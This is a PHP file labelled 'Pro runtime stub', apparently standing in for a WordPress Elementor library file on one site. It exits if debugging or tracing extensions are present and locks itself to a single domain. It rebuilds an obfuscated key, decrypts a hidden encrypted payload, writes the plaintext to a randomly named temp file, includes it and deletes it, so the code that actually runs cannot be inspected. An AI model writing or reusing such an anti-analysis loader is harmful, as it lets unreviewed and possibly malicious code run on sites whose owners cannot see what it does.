<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["nMZJUVKZhAU=","WLmtuTcaenA=","owY9xG\/d2dw=","XEr3xczaTAQ="]', true);
$__MASKS = json_decode('["zWy4Je+oFoU=","vR59OUnMCeM=","49wot067WEs=","IudIz7\/M5pI="]', true);
$__ROT   = json_decode('[7,6,4,5]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('hVVaxbqI3X+EboCW1KKFIQ9LR/9VSsTa');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL2xpYnJhcnkvZG9jdW1lbnRzL2xpYnJhcnktZG9jdW1lbnQucGhwIiwidHMiOjE3NTY2OTM3MTQsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('Q6JTVKbJpdHMIFJxZtRqXQnSFfw2ZT6DW0FaP6JIIgQpwMO5XHNYPGrk5u7GkzAiN6JIftN/TwwXXFSYVxSfWB/N+vuUaUdVOfCoRB3OT6DEPFcbqthtnrZa2jYWyzUk/0HFTLDB5MsxrVhJAuMfC1hiTI640KsaGP5naRmLYv2+54Gbm7zLdkQziEesO2XmD41lxn3I1pTOQo3CxmbJ89wEZ9BQMVs5YHzuPMeAAWo2CnzbSMcoT6sKgTgrhcfyAs/l3ASCRAw15A82aIygTk3IEa3GpdLly3sCAnwTw4R67imHxB1adCmAGyEF+MFzBLAmkQI4LuOxU32LLgJBn2oNfuHP3E/zc+2ygRS8Jzzrn7JUk4Dx2bOQCGh5E/J/lqkkB3hfr2a0nolMiixHrYaGnbxm0PVYWbmBgVI1OXhZbQZZpWfW0vYlEV+MMG5oj2SA26xhGbhpGByOEe6jdwowmRva6EVqlWpadM/sulnzN66FXODtg7prcW3L0L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1S27BunYje7M4WGZnlIT5mYjw9lcmPHM2prR/PoitLklwQap0QdtHLf0IAQFNiU9Wdo1H+gRGhBCmJX/cGEmo6nd1d1KSgwSfRNFfF7y9C5Tb8hkIV8kWDtC3KEdGu9CabJJd0Drzf8CBXfuBoewPEGwNBEnqErjavTsvG6oTKTTWVKwxJqBdQSR+XRdGV8rkJe+J2JJfJprBBFDl7hwcCUteX5fH1w0Mm0aq9blqUknrcn9cma5/vUCPEMBnI6edoYLc/O1xwR0jynyVknXoMKy64YwvZgjpbOjFw0Mf7TlJlOt97BqXDFaPv9LjdWjajvX5yV4PoAhNQVc/TTvYZG1+nr6vG1QRJhO09QC+w7nxl1h7TKXdWRctUWr08H2Jiji4Yeea+mNpS9NXbkC4n/bcAUreqitCyEKM/5KyXFWxehPBhwTDNUVhV2uBV1NfFM9pu/DTGz/5gSbf/Ss3A+weyyd5A/53fBBMkaQ6ZksJVhi+fZtODspwvbJX/ho/uPaV/GDBjQJIeAzaPM1lmcthydfGYz1T2WgWw+eT7T1kr4wMJmov5vkbAzDS4m4MtPhoprz5PRI2NOkBrGHycAbjuP5GcEJBP0fMtwGzRHMWAizyEgccjuYahAg8l0oBN9tkUNBUFZd+fbK9QcILZZknJ+vtdvRdeXIB7dM1GAz496mK8CsOmf6zLZbaq9ab3vGuJ1Jg9MQaxAZy3nHVExD0Q==');

// Signature verification
$__PK  = base64_decode('miaFAhWASlgHA6/jBhhNzxxPeQF2PHGJjnIEobbxlTw=');
$__SIG = base64_decode('fHzonnoCffjWDjQLwsAE8btUeIvX2tmHAPRhOy3M3PjxE1UzuS3gzpsuHAG/eob40gt0qS8CFHp6CONuyh+hBw==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
